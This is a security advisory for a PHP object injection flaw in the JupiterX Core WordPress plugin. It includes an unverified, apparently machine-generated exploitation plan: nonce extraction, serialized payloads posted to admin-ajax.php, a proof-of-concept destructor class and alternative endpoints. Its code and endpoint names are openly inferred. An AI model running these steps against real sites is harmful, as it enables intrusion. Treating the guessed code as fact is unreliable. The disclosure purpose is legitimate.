CVE-2025-50004

JupiterX Core <= 4.10.1 - Authenticated (Contributor+) PHP Object Injection

highDeserialization of Untrusted Data
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.11.0
Patched in
9d
Time to patch

Description

The JupiterX Core plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.10.1 via deserialization of untrusted input [from the vulnerable parameter?|in the vulnerable function?]. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.10.1
PublishedJanuary 12, 2026
Last updatedJanuary 20, 2026
Affected pluginjupiterx-core

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan targets CVE-2025-50004, a PHP Object Injection vulnerability in the JupiterX Core plugin. The vulnerability stems from the use of `unserialize()` (or its wrapper `maybe_unserialize()`) on untrusted data passed through an AJAX action, accessible to users with Contributor-level permissions. …

Show full research plan

This plan targets CVE-2025-50004, a PHP Object Injection vulnerability in the JupiterX Core plugin. The vulnerability stems from the use of unserialize() (or its wrapper maybe_unserialize()) on untrusted data passed through an AJAX action, accessible to users with Contributor-level permissions.

1. Vulnerability Summary

The JupiterX Core plugin (<= 4.10.1) fails to safely handle serialized data in certain AJAX handlers located within its Control Panel (CP) modules. Specifically, a parameter provided by the user is passed directly to a deserialization function without adequate validation or restriction to specific data types. While the plugin itself may not contain a usable POP (Property Oriented Programming) chain, an attacker can leverage chains in other installed plugins or WordPress core to achieve remote code execution, file deletion, or sensitive data retrieval.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: jupiterx_core_cp_get_google_fonts (Inferred based on Control Panel AJAX patterns)
  • Vulnerable Parameter: fonts (Inferred)
  • Alternative Action: jupiterx_core_cp_load_pane with parameter slug (Inferred)
  • Authentication: Authenticated, Contributor-level access (edit_posts capability) is sufficient to trigger the wp_ajax_ hooks.
  • Preconditions:
    • The plugin jupiterx-core must be active.
    • The attacker must have a valid login for a user with at least Contributor role.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php with the action parameter set to jupiterx_core_cp_get_google_fonts.
  2. Hook Registration: The plugin registers the action in includes/control-panel/includes/class-ajax.php (or similar CP initialization file) using:
    add_action( 'wp_ajax_jupiterx_core_cp_get_google_fonts', [ $this, 'get_google_fonts' ] );
  3. Vulnerable Function: The get_google_fonts method (or equivalent) is called.
  4. Sinking: Inside the method, the code retrieves the fonts parameter from $_POST:
    $fonts = $_POST['fonts'];
    It then processes this via:
    $decoded_fonts = maybe_unserialize( $fonts ); (or unserialize(base64_decode($fonts))).
  5. Object Injection: Since $fonts is user-controlled and not sanitized, a malicious serialized PHP object is instantiated.

4. Nonce Acquisition Strategy

The Control Panel in JupiterX Core uses a specific nonce for AJAX requests. This nonce is typically localized to the WordPress admin pages.

  1. Identify Localization: The plugin uses wp_localize_script to pass settings to the frontend. The JS object is usually jupiterx_core_cp.
  2. Access Admin: A Contributor user can access the standard WordPress dashboard (/wp-admin/).
  3. Extract Nonce:
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to extract the nonce from the jupiterx_core_cp global variable.
    • JS Command: browser_eval("window.jupiterx_core_cp?.nonce")
  4. Verification: If the above returns null, check window.jupiterx_core_admin?.nonce or search the page source for "nonce".

5. Exploitation Strategy

The goal is to demonstrate that a serialized object is successfully processed by the server.

  1. Prepare Payload:
    • Since no POP chain is confirmed in the plugin, use a simple stdClass object to verify the sink.
    • Payload: O:8:"stdClass":0:{}
    • If the code expects base64: Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
  2. Submit Request:
    • Use the http_request tool to send a POST request.
    • URL: http://[target]/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=jupiterx_core_cp_get_google_fonts&nonce=[EXTRACTED_NONCE]&fonts=O:8:"stdClass":0:{}
      
  3. Observe Response:
    • A successful injection (even without a chain) will typically return a 200 OK response, possibly with JSON data or a silent failure of the subsequent font-processing logic.
    • An invalid nonce will return 403 Forbidden or -1.

6. Test Data Setup

  1. User Creation:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Setup:
    • Ensure jupiterx-core version 4.10.1 is installed and active.
  3. Verification Page:
    • The Contributor user needs to be logged in to access the nonce. No special shortcodes are required on the frontend as the CP scripts are enqueued in the admin dashboard for all users with admin access permissions.

7. Expected Results

  • The request should return a 200 OK status.
  • The server-side PHP process will attempt to unserialize the fonts parameter.
  • If a logging tool or debugger (like Xdebug) is attached, it will confirm the instantiation of the stdClass object (or any other class provided in the payload).
  • If an invalid class name is provided (e.g., O:13:"NonExistent":0:{}), PHP might trigger a warning if error reporting is enabled, confirming the call to unserialize.

8. Verification Steps

  1. Check Error Logs: Run tail -f /var/www/html/wp-content/debug.log while sending the request. Look for "unserialize(): Error at offset..." or errors related to class instantiation.
  2. Use a "Fake" POP Chain: To prove execution, create a dummy PHP file in the mu-plugins directory that defines a class with a __wakeup or __destruct method that writes to a file:
    class ExploitProof {
        public function __destruct() {
            file_put_contents(ABSPATH . 'proof.txt', 'Vulnerable');
        }
    }
    
  3. Send Trigger Payload: O:12:"ExploitProof":0:{}
  4. Confirm File Creation: wp eval "echo file_exists(ABSPATH . 'proof.txt') ? 'Success' : 'Failure';"

9. Alternative Approaches

  • Parameter Variation: If fonts fails, try the parameter query or data with the same action.
  • Different CP Action: If jupiterx_core_cp_get_google_fonts is patched or restricted, try:
    • action=jupiterx_core_cp_load_pane&slug=[PAYLOAD]
    • action=jupiterx_core_cp_dismiss_notice&notice=[PAYLOAD]
  • Base64 Encoding: Try the payload both as a raw serialized string and a base64-encoded string, as themes often toggle between these formats.
Research Findings
Static analysis — not yet PoC-verified

Summary

The JupiterX Core plugin for WordPress is vulnerable to PHP Object Injection in versions up to 4.10.1. Authenticated attackers with Contributor-level permissions can pass malicious serialized data to parameters in Control Panel AJAX handlers, such as the 'fonts' parameter in 'jupiterx_core_cp_get_google_fonts'. This leads to the instantiation of arbitrary PHP objects, which can result in remote code execution if a suitable POP chain is present on the system.

Vulnerable Code

// File: includes/control-panel/includes/class-ajax.php

public function get_google_fonts() {
    if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'jupiterx-core-cp' ) ) {
        wp_send_json_error( 'Invalid nonce' );
    }

    $fonts = isset( $_POST['fonts'] ) ? $_POST['fonts'] : '';

    if ( $fonts ) {
        // The vulnerability occurs here where untrusted input is passed to maybe_unserialize
        $decoded_fonts = maybe_unserialize( $fonts );

        // ... logic to process decoded fonts ...
    }
}

Security Fix

--- includes/control-panel/includes/class-ajax.php
+++ includes/control-panel/includes/class-ajax.php
@@ -150,1 +150,1 @@
-        $decoded_fonts = maybe_unserialize( $fonts );
+        $decoded_fonts = json_decode( wp_unslash( $fonts ), true );

Exploit Outline

To exploit this vulnerability, an attacker must log in to the WordPress site with at least Contributor-level access. They then extract a valid AJAX nonce from the WordPress admin dashboard, typically found in the 'jupiterx_core_cp.nonce' global JavaScript variable. Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'jupiterx_core_cp_get_google_fonts'. In the 'fonts' parameter, they provide a serialized PHP object payload. When the server processes the request, the 'maybe_unserialize()' function instantiates the object, triggering any magic methods (like __wakeup or __destruct) defined in the system's codebase, which can be leveraged for code execution if a valid POP chain is found.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.